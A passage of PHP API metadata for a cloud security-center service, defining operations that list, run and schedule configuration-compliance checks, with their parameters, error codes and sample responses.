item.'."\n", 'type' => 'string', 'example' => 'Log Audit', ], ], ], ], 'CheckId' => [ 'description' => 'The ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '5', ], 'CheckShowName' => [ 'description' => 'The name of the check item.'."\n", 'type' => 'string', 'example' => 'OSS-PublicReadOpenManifestFileWithoutEncryption', ], 'Vendor' => [ 'description' => 'The cloud service provider.'."\n", 'type' => 'string', 'example' => 'ALIYUN', ], 'VendorShowName' => [ 'description' => 'The name of the cloud service provider.'."\n", 'type' => 'string', 'example' => 'Aliyun', ], 'InstanceType' => [ 'description' => 'The asset type of the cloud service. Valid values:'."\n" ."\n" .'* **ECS**: ECS'."\n" .'* **SLB**: SLB'."\n" .'* **RDS**: ApsaraDB RDS'."\n" .'* **MONGODB**: MongoDB'."\n" .'* **KVSTORE**: Redis'."\n" .'* **ACR**: Container Registry'."\n" .'* **CSK**: ACK'."\n" .'* **VPC**: VPC'."\n" .'* **ACTIONTRAIL**: ActionTrail'."\n" .'* **CDN**: CDN'."\n" .'* **CAS**: Certificate Management Service (formerly SSL Certificates Service)'."\n" .'* **RDC**: Apsara Devops'."\n" .'* **RAM**: RAM'."\n" .'* **DDOS**: Anti-DDoS'."\n" .'* **WAF**: WAF'."\n" .'* **OSS**: OSS'."\n" .'* **POLARDB**: PolarDB'."\n" .'* **POSTGRESQL**: ApsaraDB RDS for PostgreSQL'."\n" .'* **MSE**: MSE'."\n" .'* **NAS**: NAS'."\n" .'* **SDDP**: SDDP'."\n" .'* **EIP**: EIP'."\n", 'type' => 'string', 'example' => 'ECS', ], 'InstanceSubType' => [ 'description' => 'The asset subtype of the cloud service. Valid values:'."\n" ."\n" .'* If the **InstanceType** parameter is set to **ECS**, this parameter supports the following valid values:'."\n" ."\n" .' * **INSTANCE**'."\n" .' * **DISK**'."\n" .' * **SECURITY_GROUP**'."\n" ."\n" .'* If the **InstanceType** parameter is set to **ACR**, this parameter supports the following valid values:'."\n" ."\n" .' * **REPOSITORY_ENTERPRISE**'."\n" .' * **REPOSITORY_PERSON**'."\n" ."\n" .'* If the **InstanceType** parameter is set to **RAM**, this parameter supports the following valid values:'."\n" ."\n" .' * **ALIAS**'."\n" .' * **USER**'."\n" .' * **POLICY**'."\n" .' * **GROUP**'."\n" ."\n" .'* If the **InstanceType** parameter is set to **WAF**, this parameter supports the following valid values:'."\n" ."\n" .' * **DOMAIN**'."\n" ."\n" .'* If the **InstanceType** parameter is set to other values, this parameter supports the following valid values:'."\n" ."\n" .' * **INSTANCE**'."\n", 'type' => 'string', 'example' => 'DISK', ], 'RiskLevel' => [ 'description' => 'The risk level of the check item. Valid values:'."\n" ."\n" .'* **HIGH**'."\n" .'* **MEDIUM**'."\n" .'* **LOW**'."\n", 'type' => 'string', 'example' => 'HIGH', ], 'Status' => [ 'description' => 'The status of the check item. Valid values:'."\n" ."\n" .'* **PASS**: passed'."\n" .'* **NOT_PASS**: failed'."\n" .'* **CHECKING**: being checked'."\n" .'* **NOT_CHECK**: not checked'."\n" .'* **WHITELIST**: added to the whitelist'."\n", 'type' => 'string', 'example' => 'PASS', ], 'TaskId' => [ 'description' => 'The ID of the check task.'."\n", 'type' => 'string', 'example' => '64', ], 'LastCheckTime' => [ 'description' => 'The timestamp when the last check was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1657793398000', ], 'TrialPermission' => [ 'description' => 'Indicates whether the TRIAL permission is required.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'StatusMessage' => [ 'description' => 'The message returned if the status of the check item is abnormal.'."\n", 'type' => 'string', 'example' => 'TIMEOUT', ], 'CheckSaleType' => [ 'description' => 'The type of the check item. Valid values:'."\n" ."\n" .'* **0**: paid'."\n" .'* **1**: free'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AssetVendor' => [ 'description' => 'The service provider of the asset. Valid values:'."\n" ."\n" .'* **0**: Alibaba Cloud'."\n" .'* **3**: Huawei Cloud'."\n" .'* **4**: Microsoft Azure'."\n" .'* **5**: AWS'."\n" .'* **7**: Tencent Cloud'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'CheckType' => [ 'description' => 'The source type of the situation awareness check item: '."\n" .'- **CUSTOM**: User-defined '."\n" .'- **SYSTEM**: Predefined by the situation awareness platform', 'type' => 'string', 'example' => 'SYSTEM', ], 'AssetType' => [ 'description' => 'The type of the asset. Valid values:'."\n" ."\n" .'* **0**: an ECS instance'."\n" .'* **1**: a SLB instance'."\n" .'* **2**: a NAT gateway'."\n" .'* **3**: an ApsaraDB RDS instance'."\n" .'* **4**: an ApsaraDB for MongoDB instance'."\n" .'* **5**: an ApsaraDB for Redis instance'."\n" .'* **6**: a container image'."\n" .'* **7**: a container'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AssetSubType' => [ 'description' => 'The subtype of the cloud service.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'OperationType' => [ 'description' => 'Indicates whether fixing is supported. Valid values:'."\n" ."\n" .'* **SUPPORT_REPAIR**'."\n" .'* **NOT_SUPPORT_REPAIR**'."\n", 'type' => 'string', 'example' => 'NOT_SUPPORT_REPAIR', ], 'TrialPermissionType' => [ 'description' => 'Check whether the data delivery period for ActionTrail is enabled for more than 30 days to establish a baseline of behaviour.'."\n" .'* **0**: REQUIRED'."\n" .'* **1**: NOT REQUIRED', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'F9B6DD67-B289-5406-B35C-B0F4A217S23', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Checks\\": [\\n {\\n \\"CheckPolicies\\": [\\n {\\n \\"StandardId\\": 1,\\n \\"StandardShowName\\": \\"Best security practices\\",\\n \\"RequirementId\\": 2,\\n \\"RequirementShowName\\": \\"Alibaba cloud OSS best security practices\\",\\n \\"SectionId\\": 3,\\n \\"SectionShowName\\": \\"Log Audit\\"\\n }\\n ],\\n \\"CheckId\\": 5,\\n \\"CheckShowName\\": \\"OSS-PublicReadOpenManifestFileWithoutEncryption\\",\\n \\"Vendor\\": \\"ALIYUN\\",\\n \\"VendorShowName\\": \\"Aliyun\\",\\n \\"InstanceType\\": \\"ECS\\",\\n \\"InstanceSubType\\": \\"DISK\\",\\n \\"RiskLevel\\": \\"HIGH\\",\\n \\"Status\\": \\"PASS\\",\\n \\"TaskId\\": \\"64\\",\\n \\"LastCheckTime\\": 1657793398000,\\n \\"TrialPermission\\": true,\\n \\"StatusMessage\\": \\"TIMEOUT\\",\\n \\"CheckSaleType\\": 1,\\n \\"AssetVendor\\": 3,\\n \\"CheckType\\": \\"SYSTEM\\",\\n \\"AssetType\\": 0,\\n \\"AssetSubType\\": 0,\\n \\"OperationType\\": \\"NOT_SUPPORT_REPAIR\\",\\n \\"TrialPermissionType\\": 1\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 2\\n },\\n \\"RequestId\\": \\"F9B6DD67-B289-5406-B35C-B0F4A217S23\\"\\n}","type":"json"}]', 'title' => 'ListCheckResult', 'translator' => 'machine', ], 'ListCheckStandard' => [ 'summary' => 'Queries the standards of configuration checks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '119339', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'Vendors', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The cloud service providers. Valid values:'."\n" ."\n" .'* **ALIYUN**: Alibaba Cloud.'."\n" .'* **TENCENT**: Tencent Cloud.'."\n" .'* **HUAWEICLOUD**: Huawei Cloud.'."\n" .'* **MICROSOFT**: Microsoft Azure.'."\n" .'* **AWS**: Amazon Web Services (AWS).'."\n", 'type' => 'array', 'items' => [ 'description' => 'The cloud service provider. Valid values:'."\n" ."\n" .'* **ALIYUN**: Alibaba Cloud'."\n" .'* **TENCENT**: Tencent Cloud.'."\n" .'* **HUAWEICLOUD**: Huawei Cloud.'."\n" .'* **MICROSOFT**: Microsoft Azure.'."\n" .'* **AWS**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ALIYUN', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'InstanceTypes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The asset types of cloud services.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The asset type of the cloud service. Valid values:'."\n" ."\n" .'* **ECS**: Elastic Compute Service (ECS).'."\n" .'* **SLB**: Server Load Balancer (SLB).'."\n" .'* **RDS**: ApsaraDB RDS.'."\n" .'* **MONGODB**: ApsaraDB for MongoDB (MongoDB).'."\n" .'* **KVSTORE**: ApsaraDB for Redis (Redis).'."\n" .'* **ACR**: Container Registry.'."\n" .'* **CSK**: Container Service for Kubernetes (ACK).'."\n" .'* **VPC**: Virtual Private Cloud (VPC).'."\n" .'* **ACTIONTRAIL**: ActionTrail.'."\n" .'* **CDN**: Alibaba Cloud CDN (CDN).'."\n" .'* **CAS**: Certificate Management Service (formerly SSL Certificates Service).'."\n" .'* **RDC**: Alibaba Cloud DevOps.'."\n" .'* **RAM**: Resource Access Management (RAM).'."\n" .'* **DDOS**: Anti-DDoS.'."\n" .'* **WAF**: Web Application Firewall (WAF).'."\n" .'* **OSS**: Object Storage Service (OSS).'."\n" .'* **POLARDB**: PolarDB.'."\n" .'* **POSTGRESQL**: ApsaraDB RDS for PostgreSQL.'."\n" .'* **MSE**: Microservices Engine (MSE).'."\n" .'* **NAS**: File Storage NAS (NAS).'."\n" .'* **SDDP**: Sensitive Data Discovery and Protection (SDDP).'."\n" .'* **EIP**: Elastic IP Address (EIP).'."\n", 'type' => 'string', 'required' => false, 'example' => 'ECS', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'InstanceSubTypes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The subtypes of cloud services.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The subtype of the cloud service.'."\n", 'type' => 'string', 'required' => false, 'example' => 'INSTANCE', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'InstanceIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The instance IDs of the cloud services to which the check items belong.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The instance ID of the cloud service to which the check item belongs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-***', ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'TaskSources', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of task sources.', 'type' => 'array', 'items' => [ 'description' => 'Task source. Values:'."\n" .'- **YAO_CHI**: Yaochi Console.', 'type' => 'string', 'required' => false, 'example' => 'YAO_CHI', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListCheckStandardResponse', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Standards' => [ 'description' => 'The standards.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The standard.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the standard.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'ShowName' => [ 'description' => 'The display name of the check item.'."\n", 'type' => 'string', 'example' => 'Identity and permission management'."\n", ], 'Requirements' => [ 'description' => 'The requirements.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The requirement.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the requirement.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '11', ], 'ShowName' => [ 'description' => 'The display name of the search condition.'."\n", 'type' => 'string', 'example' => 'RAM identity authentication'."\n", ], 'RiskCheckCount' => [ 'description' => 'The number of check items in the requirement.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '10', ], 'ShowPriorityLevel' => [ 'description' => 'The priority for display.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], 'Type' => [ 'description' => 'The type of the standard.'."\n", 'type' => 'string', 'example' => 'IDENTITY_PERMISSION', ], 'ShowPriorityLevel' => [ 'description' => 'The priority for display.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'BindVendor' => [ 'description' => 'The cloud service provider that uses the standard. Valid values:'."\n" ."\n" .'* **0**: Alibaba Cloud.'."\n" .'* **3**: Tencent Cloud.'."\n" .'* **4**: Huawei Cloud.'."\n" .'* **5**: Microsoft Azure.'."\n" .'* **7**: AWS.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], ], ], ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'FA91FBDA-***', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Standards\\": [\\n {\\n \\"Id\\": 1,\\n \\"ShowName\\": \\"身份权限管理\\",\\n \\"Requirements\\": [\\n {\\n \\"Id\\": 11,\\n \\"ShowName\\": \\"RAM身份认证\\",\\n \\"RiskCheckCount\\": 10,\\n \\"ShowPriorityLevel\\": 1\\n }\\n ],\\n \\"Type\\": \\"IDENTITY_PERMISSION\\",\\n \\"ShowPriorityLevel\\": 1,\\n \\"BindVendor\\": 3\\n }\\n ],\\n \\"RequestId\\": \\"FA91FBDA-***\\"\\n}","type":"json"}]', 'title' => 'ListCheckStandard', 'translator' => 'machine', ], 'ListCheckItem' => [ 'summary' => 'Queries the check items that can be customized.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '182732', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid value:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'TaskSources', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of task sources.', 'type' => 'array', 'items' => [ 'description' => 'Task source. The value can be: '."\n" .'- **YAO_CHI**: YaoChi.', 'type' => 'string', 'required' => false, 'example' => 'YAO_CHI', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListCheckResultResponse', 'description' => 'ListCheckResultResponse'."\n", 'type' => 'object', 'properties' => [ 'CheckItems' => [ 'description' => 'The check items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'Item information check.', 'type' => 'object', 'properties' => [ 'InstanceSubType' => [ 'description' => 'The asset subtype of the cloud service. Valid values:'."\n" ."\n" .'* If **InstanceType** is set to **ECS**, this parameter supports the following valid values:'."\n" ."\n" .' * **INSTANCE**'."\n" .' * **DISK**'."\n" .' * **SECURITY_GROUP**'."\n" ."\n" .'* If **InstanceType** is set to **ACR**, this parameter supports the following valid values:'."\n" ."\n" .' * **REPOSITORY_ENTERPRISE**'."\n" .' * **REPOSITORY_PERSON**'."\n" ."\n" .'* If **InstanceType** is set to **RAM**, this parameter supports the following valid values:'."\n" ."\n" .' * **ALIAS**'."\n" .' * **USER**'."\n" .' * **POLICY**'."\n" .' * **GROUP**'."\n" ."\n" .'* If **InstanceType** is set to **WAF**, this parameter supports the following valid value:'."\n" ."\n" .' * **DOMAIN**'."\n" ."\n" .'* If **InstanceType** is set to other values, this parameter supports the following valid values:'."\n" ."\n" .' * **INSTANCE**'."\n", 'type' => 'string', 'example' => 'ECS', ], 'CheckId' => [ 'description' => 'The ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '21', ], 'CheckShowName' => [ 'description' => 'The name of the check item.'."\n", 'type' => 'string', 'example' => 'Enable deletion protection', ], 'InstanceType' => [ 'description' => 'The asset type of the cloud service. Valid values:'."\n" ."\n" .'* **ECS**: Elastic Compute Service (ECS).'."\n" .'* **SLB**: Server Load Balancer (SLB).'."\n" .'* **RDS**: ApsaraDB RDS.'."\n" .'* **MONGODB**: ApsaraDB for MongoDB (MongoDB).'."\n" .'* **KVSTORE**: ApsaraDB for Redis (Redis).'."\n" .'* **ACR**: Container Registry.'."\n" .'* **CSK**: Container Service for Kubernetes (ACK).'."\n" .'* **VPC**: Virtual Private Cloud (VPC).'."\n" .'* **ACTIONTRAIL**: ActionTrail.'."\n" .'* **CDN**: Alibaba Cloud CDN (CDN).'."\n" .'* **CAS**: Certificate Management Service (formerly SSL Certificates Service).'."\n" .'* **RDC**: Apsara Devops.'."\n" .'* **RAM**: Resource Access Management (RAM).'."\n" .'* **DDOS**: Anti-DDoS.'."\n" .'* **WAF**: Web Application Firewall (WAF).'."\n" .'* **OSS**: Object Storage Service (OSS).'."\n" .'* **POLARDB**: PolarDB.'."\n" .'* **POSTGRESQL**: ApsaraDB RDS for PostgreSQL.'."\n" .'* **MSE**: Microservices Engine (MSE).'."\n" .'* **NAS**: File Storage NAS (NAS).'."\n" .'* **SDDP**: Sensitive Data Discovery and Protection (SDDP).'."\n" .'* **EIP**: Elastic IP Address (EIP).', 'type' => 'string', 'example' => 'OSS', ], 'RiskLevel' => [ 'description' => 'The risk level of the check item. Valid values:'."\n" ."\n" .'* **HIGH**'."\n" .'* **MEDIUM**'."\n" .'* **LOW**'."\n", 'type' => 'string', 'example' => 'HIGH', ], 'Vendor' => [ 'description' => 'The type of the cloud asset. Valid values:'."\n" ."\n" .'* **0**: an asset provided by Alibaba Cloud.'."\n" .'* **1**: an asset outside Alibaba Cloud.'."\n" .'* **2**: an asset in a data center.'."\n" .'* **3**, **4**, **5**, and **7**: other cloud asset.'."\n" .'* **8**: a simple application server.'."\n", 'type' => 'string', 'example' => '0', ], 'SectionIds' => [ 'description' => 'The IDs of the sections associated with the check items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the section associated with the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '102', ], ], 'Description' => [ 'description' => 'The description of the check item.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the description of the check item. Valid value:'."\n" ."\n" .'* **text**'."\n", 'type' => 'string', 'example' => 'text', ], 'Value' => [ 'description' => 'The content of the description for the check item when the Type parameter is text.'."\n", 'type' => 'string', 'example' => 'The download of query results that are returned by SELECT statements in DataStudio must be prohibited at the MaxCompute level.', ], ], ], 'CustomConfigs' => [ 'description' => 'The check items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'User-defined check configuration information.', 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the check item.'."\n", 'type' => 'string', 'example' => 'IPList', ], 'TypeDefine' => [ 'description' => 'The type of the check item. The value is a JSON string.'."\n", 'type' => 'string', 'example' => '{\\"type\\":\\"LIST\\",\\"range\\":[1,512],\\"listType\\":{\\"type\\":\\"STRING\\",\\"range\\":[0,22]}}', ], 'DefaultValue' => [ 'description' => 'The default value of the check item. The value is a string.'."\n", 'type' => 'string', 'example' => '0', ], 'Value' => [ 'description' => 'The specified value of the check item. The value is a string.'."\n", 'type' => 'string', 'example' => '1', ], 'ShowName' => [ 'description' => 'The display name of the check item.'."\n", 'type' => 'string', 'example' => 'Ensure RAM password policy prevents password reuse', ], ], ], ], 'EstimatedCount' => [ 'description' => 'The estimated quota that will be consumed by this check item.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'CheckType' => [ 'description' => 'The source type of the Situation Awareness check item: '."\n" .'- **CUSTOM**: User-defined '."\n" .'- **SYSTEM**: Predefined by the Situation Awareness platform', 'type' => 'string', 'example' => 'SYSTEM', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '149', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '9F4E6157-9600-5588-86B9-38F09067****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CheckItems\\": [\\n {\\n \\"InstanceSubType\\": \\"INSTANCE\\",\\n \\"CheckId\\": 21,\\n \\"CheckShowName\\": \\"IPv4 Access Control\\",\\n \\"InstanceType\\": \\"API_GATEWAY\\",\\n \\"RiskLevel\\": \\"HIGH\\",\\n \\"Vendor\\": \\"0\\",\\n \\"SectionIds\\": [\\n 102\\n ],\\n \\"Description\\": {\\n \\"Type\\": \\"text\\",\\n \\"Value\\": \\"Checks whether strict access control policies are configured. Requirements: 1. If no blacklists and whitelist are configured, configure a whitelist first. 2. If a blacklist is configured, find the blacklist in the list of access control policies. We recommend that you do not configure an empty blacklist. 3. If a whitelist is configured, find the whitelist in the list of access control policies. We recommend that you do not configure an empty whitelist. Make sure that the whitelist does not contain 0.0.0.0. You can add the following IP addresses to the whitelist: ${IPList}.\\"\\n },\\n \\"CustomConfigs\\": [\\n {\\n \\"Name\\": \\"IPList\\",\\n \\"TypeDefine\\": \\"{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"LIST\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"range\\\\\\\\\\\\\\":[1,512],\\\\\\\\\\\\\\"listType\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"STRING\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"range\\\\\\\\\\\\\\":[0,22]}}\\",\\n \\"DefaultValue\\": \\"0\\",\\n \\"Value\\": \\"1\\",\\n \\"ShowName\\": \\"IP列表\\"\\n }\\n ],\\n \\"EstimatedCount\\": 30,\\n \\"CheckType\\": \\"SYSTEM\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 149,\\n \\"Count\\": 10\\n },\\n \\"RequestId\\": \\"9F4E6157-9600-5588-86B9-38F09067****\\"\\n}","type":"json"}]', 'title' => 'ListCheckItem', 'translator' => 'machine', ], 'StartBaselineSecurityCheck' => [ 'summary' => 'Checks cloud service configurations. You can check all items or a specific item and verify whether an item is checked.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => true, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92442', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '106.11.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the check task. Valid values:'."\n" ."\n" .'* **check**'."\n" .'* **verify**'."\n", 'type' => 'string', 'required' => true, 'example' => 'verify', ], ], [ 'name' => 'ItemIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the check items.'."\n" ."\n" .'> To perform a check task on cloud service configurations, you must specify the ID of the check item. You can call the [DescribeRiskItemType](~~DescribeRiskItemType~~) operation to query the IDs of check items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> To perform a check task on cloud service configurations, you must specify the ID of the check item. You can call the [DescribeRiskItemType](~~DescribeRiskItemType~~) operation to query the IDs of check items.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '48D2E9A9-A1B0-4295-B727-0995757C47E9', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RiskItemDisabled', 'errorMessage' => 'Check item not enabled', ], [ 'errorCode' => 'AllRiskItemTaskNotFinished', 'errorMessage' => 'All inspection items are not finished', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'substitutions' => [ 'Sas::2018-12-03::SubmitCheck', ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"48D2E9A9-A1B0-4295-B727-0995757C47E9\\"\\n}","type":"json"}]', 'title' => 'StartBaselineSecurityCheck', ], 'ModifySecurityCheckScheduleConfig' => [ 'summary' => 'Specifies the time when an automatic configuration check on cloud services runs.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => true, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92389', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'DaysOfWeek', 'in' => 'query', 'schema' => [ 'description' => 'The days on which the automatic configuration check runs. You can specify multiple days. Separate multiple days with commas (,). Valid values:'."\n" ."\n" .'* **1**: Monday'."\n" .'* **2**: Tuesday'."\n" .'* **3**: Wednesday'."\n" .'* **4**: Thursday'."\n" .'* **5**: Friday'."\n" .'* **6**: Saturday'."\n" .'* **7**: Sunday'."\n", 'type' => 'string', 'required' => true, 'example' => '4,5,6', ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The time period during which the automatic configuration check starts. Valid values:'."\n" ."\n" .'* **0**: 00:00 to 06:00'."\n" .'* **6**: 06:00 to 